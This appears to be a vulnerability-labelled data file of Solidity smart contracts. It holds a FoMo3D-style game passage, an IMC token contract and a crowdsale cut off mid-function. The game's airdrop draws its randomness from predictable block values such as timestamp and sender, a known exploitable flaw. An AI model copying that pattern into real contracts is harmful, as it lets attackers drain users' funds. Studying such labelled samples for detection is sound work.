_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = (_eth / 100).mul(3);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Quick already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcQuick {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((_eth).mul(2)).mul(10000000000000000000000000)).add(1000000000000000000000000000000000000000000)).sqrt()).sub(1000000000000000000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((_keys.sq()).add((2000000000000000000000).mul(_keys))) / (20000000000000000000000000);
}
}
interface DiviesInterface {
function deposit() external payable;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,460 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
assert(_a == _b * c + _a % _b);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract IMCToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address public externalContractAddress;
constructor() public {
symbol = "IMC";
name = "IMC";
decimals = 8;
_totalSupply = 1000000000 * (10 ** uint(decimals));
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function _transfer(address _from, address _to, uint _value) internal{
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint previousBalance = balances[_from].add(balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balances[_from].add(balances[_to]) == previousBalance);
}
function transfer(address _to, uint _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
if (_from == msg.sender) {
_transfer(_from, _to, _value);
} else {
require(allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
}
return true;
}
function issue(address _to, uint _value) public returns (bool success) {
require(msg.sender == externalContractAddress);
_transfer(owner, _to, _value);
return true;
}
function approve(address _spender, uint _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function approveContractCall(address _contractAddress) public onlyOwner returns (bool){
externalContractAddress = _contractAddress;
return true;
}
function () public payable {
revert();
}
}
contract IMCIssuingRecord is Owned{
using SafeMath for uint;
event IssuingRecordAdd(uint _date, bytes32 _hash, uint _depth, uint _userCount, uint _token, string _fileFormat, uint _stripLen);
IMCToken public imcToken;
address public platformAddr;
address public executorAddress;
struct RecordInfo {
uint date;
bytes32 hash;
uint depth;
uint userCount;
uint token;
string fileFormat;
uint stripLen;
}
mapping(uint => RecordInfo) public issuingRecord;
uint public userCount;
uint public totalIssuingBalance;
constructor(address _tokenAddr, address _platformAddr) public{
imcToken = IMCToken(_tokenAddr);
platformAddr = _platformAddr;
executorAddress = msg.sender;
}
function modifyPlatformAddr(address _addr) public onlyOwner {
platformAddr = _addr;
}
function modifyExecutorAddr(address _addr) public onlyOwner {
executorAddress = _addr;
}
function sendTokenToPlatform(uint _tokens) internal returns (bool) {
imcToken.issue(platformAddr, _tokens);
return true;
}
function issuingRecordAdd(uint _date, bytes32 _hash, uint _depth, uint _userCount, uint _token, string _fileFormat, uint _stripLen) public returns (bool) {
require(msg.sender == executorAddress);
require(issuingRecord[_date].date != _date);
userCount = userCount.add(_userCount);
totalIssuingBalance = totalIssuingBalance.add(_token);
issuingRecord[_date] = RecordInfo(_date, _hash, _depth, _userCount, _token, _fileFormat, _stripLen);
sendTokenToPlatform(_token);
emit IssuingRecordAdd(_date, _hash, _depth, _userCount, _token, _fileFormat, _stripLen);
return true;
}
} | 0 | 644 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Reward(address indexed to, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.01 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / totalSupply) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum += amount;
}
if(sum > 0) {
_to.transfer(sum);
Reward(_to, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
_reward(msg.sender);
for(uint i = 0; i < _to.length; i++) {
_reward(_to[i]);
}
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
contract Token is CappedToken, BurnableToken, RewardToken {
function Token() CappedToken(1800000 * 1 ether) StandardToken("Patriot Project Mall Token", "PPMT", 18) public {
}
}
contract Crowdsale is Pausable {
using SafeMath for uint;
Token public token;
address public beneficiary = 0x9028233131d986484293eEde62507E3d75d6284e;
uint public collectedWei;
uint public refundedWei;
uint public tokensSold;
uint public tokensForSale = 1791000 * 1 ether;
uint public priceTokenWei = 7142857142857142;
uint public bonusPercent = 0;
bool public crowdsaleClosed = false;
bool public crowdsaleRefund = false;
mapping(address => uint256) public purchaseBalances;
event Rurchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Refund(address indexed holder, uint256 etherAmount);
event CrowdsaleClose();
event CrowdsaleRefund();
function Crowdsale() public {
token = new Token();
}
function() payable public {
purchase();
}
function setTokenRate(uint _value) onlyOwner whenPaused public {
require(!crowdsaleClosed);
priceTokenWei = 1 ether / _value;
}
function setBonusPercent(uint _value) onlyOwner whenPaused public {
require(!crowdsaleClosed);
bonusPercent = _value;
}
function purchase() whenNotPaused payable public {
require(!crowdsaleClosed);
require(tokensSold < tokensForSale);
require(msg.value >= 0.01 ether);
uint sum = msg.value;
uint amount = sum.mul(1 ether).div(priceTokenWei);
uint retSum = 0;
if(bonusPercent > 0) {
amount = amount.div(100).mul(bonusPercent);
}
if(tokensSold.add(amount) > tokensForSale) {
uint retAmount = tokensSold.add(amount).sub(tokensForSale);
retSum = retAmount.mul(priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
tokensSold = tokensSold.add(amount);
collectedWei = collectedWei.add(sum);
purchaseBalances[msg.sender] = purchaseBalances[msg.sender].add(sum);
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
Rurchase(msg.sender, amount, sum);
}
function refund() public {
require(crowdsaleRefund);
require(purchaseBalances[msg.sender] > 0);
uint sum = purchaseBalances[msg.sender];
